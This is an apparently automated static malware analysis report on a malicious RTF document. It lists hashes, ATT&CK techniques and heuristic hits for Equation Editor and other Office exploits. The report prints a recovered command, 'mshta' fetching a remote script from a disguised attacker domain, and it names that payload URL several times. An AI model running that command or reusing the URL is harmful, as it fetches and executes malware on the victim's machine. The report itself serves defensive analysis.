Malicious RTF — malware analysis report

Static analysis result for SHA-256 2ae21ce9b134d0bf…

MALICIOUS

RTF

222.2 KB Created: 2018-05-30 23:15:00 Authoring application: Riched20 6.3.9600 First seen: 2018-06-21
MD5: ddd8f3a46ec5c9a605105a567fe4070a SHA-1: 04b6ddfe3aad049e5be4a45e54a086b1e7d421a3 SHA-256: 2ae21ce9b134d0bf80f3aebd7276131ff40b463a047031dc4ba891fb9b48ba65
502 Risk Score

Malware Insights

MITRE ATT&CK
T1203 Exploitation for Client Execution T1566.001 Spearphishing Attachment

The RTF file contains multiple critical heuristic firings indicating exploitation of CVE-2017-11882 (Equation Editor) and CVE-2017-8759 (MSXML SAX OLE activation). These exploits are commonly used to achieve arbitrary code execution, often to download and run a second-stage payload. The presence of an embedded URL, http://reset.microsoftwin.top/ad1.txt, suggests a potential command and control or payload download location.

Heuristics 12

  • Equation Editor CLSID critical CVE likely RTF_EQUATION_EDITOR
    Equation Editor OLE CLSID found inside an OLE object — exploited by CVE-2017-11882 / CVE-2018-0802 / CVE-2018-0798
  • CVE-2017-11882 — Equation Editor FONT record overflow critical CVE likely CVE_2017_11882
    Equation Editor MTEF contains an overlong FONT typeface field, the vulnerable copy primitive for CVE-2017-11882. This is stronger evidence than the Equation Editor CLSID alone because it identifies the malformed record that drives code execution in EQNEDT32.EXE.
  • CVE-2017-8759 — MSXML SAX OLE activation critical CVE likely CVE_2017_8759
    RTF contains a hex-encoded OLE1 object for Msxml2.SAXXMLReader.6.0 followed by an embedded OLE compound document, and the document requests OLE activation. This matches the RTF staging shape used for CVE-2017-8759 SOAP/WSDL parser code injection.
  • CVE-2026-21514 — Word/OLE security bypass in RTF high CVE likely CVE_2026_21514
    RTF contains a hidden \svb hex package with DrsE2oDoc and downRevStg drawing compatibility parts. This matches an observed CVE-2026-21514 exploitation shape that manipulates Word's internal document structure and trust decisions.
  • ClamAV: Doc.Exploit.Cve_2017_11882-7570663-1 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Exploit.Cve_2017_11882-7570663-1
  • Equation Editor object class critical RTF_OBJCLASS_EQUATION
    Object class 'equation.3' references Equation Editor
  • Suspicious extracted artifact critical EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • \objupdate forces OLE activation high RTF_OBJUPDATE
    RTF contains \objupdate — forces automatic OLE object instantiation when the document is opened, bypassing user interaction. Almost exclusively seen in Equation Editor exploit documents.
  • OLE object data medium RTF_OBJDATA
    RTF contains 1 \objdata section(s) — embedded OLE objects
  • Embedded OLE object medium RTF_OBJEMB
    RTF contains \objemb — embedded OLE object
  • Macro/content-enable lure medium SE_ENABLE_LURE
    Document instructs the user to enable macros or editing — a common technique used by malware droppers to bypass Office macro security settings
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://reset.microsoftwin.top/ad1.txt In RTF body
    • http://icons.iconarchive.com/icons/carlosjj/microsoft-office-2013/256/Word-icon.pngIn RTF body
    • http://schemas.microsoft.com/office/word/2003/wordmlIn RTF body
    • http://icons.iconarchive.com/icons/carlosjj/microsoft-office-2013/256/Word-icon.png}}{In RTF body

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
objdata_00_off00007889.bin rtf-objdata-decoded RTF \objdata at offset 0x7889 3627 bytes
SHA-256: 28d7a6c344d2f1137a4700c105f76cbe35305e7f517bbf4d2a44a308d1002162
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Static shellcode analysis recovered URL(s): http://reset.microsoftwin.top/ad1.txt Static shellcode analysis recovered command string(s): mshta http://reset.microsoftwin.top/ad1.txt
rtf_svb_000037cd.zip rtf-svb-package RTF \svb hex-decoded ZIP at offset 0x37CD 1598 bytes
SHA-256: e7483200df7fd2133b28e7c3ee9c5c8fa313564f8f0e41f73c3aaea124020710

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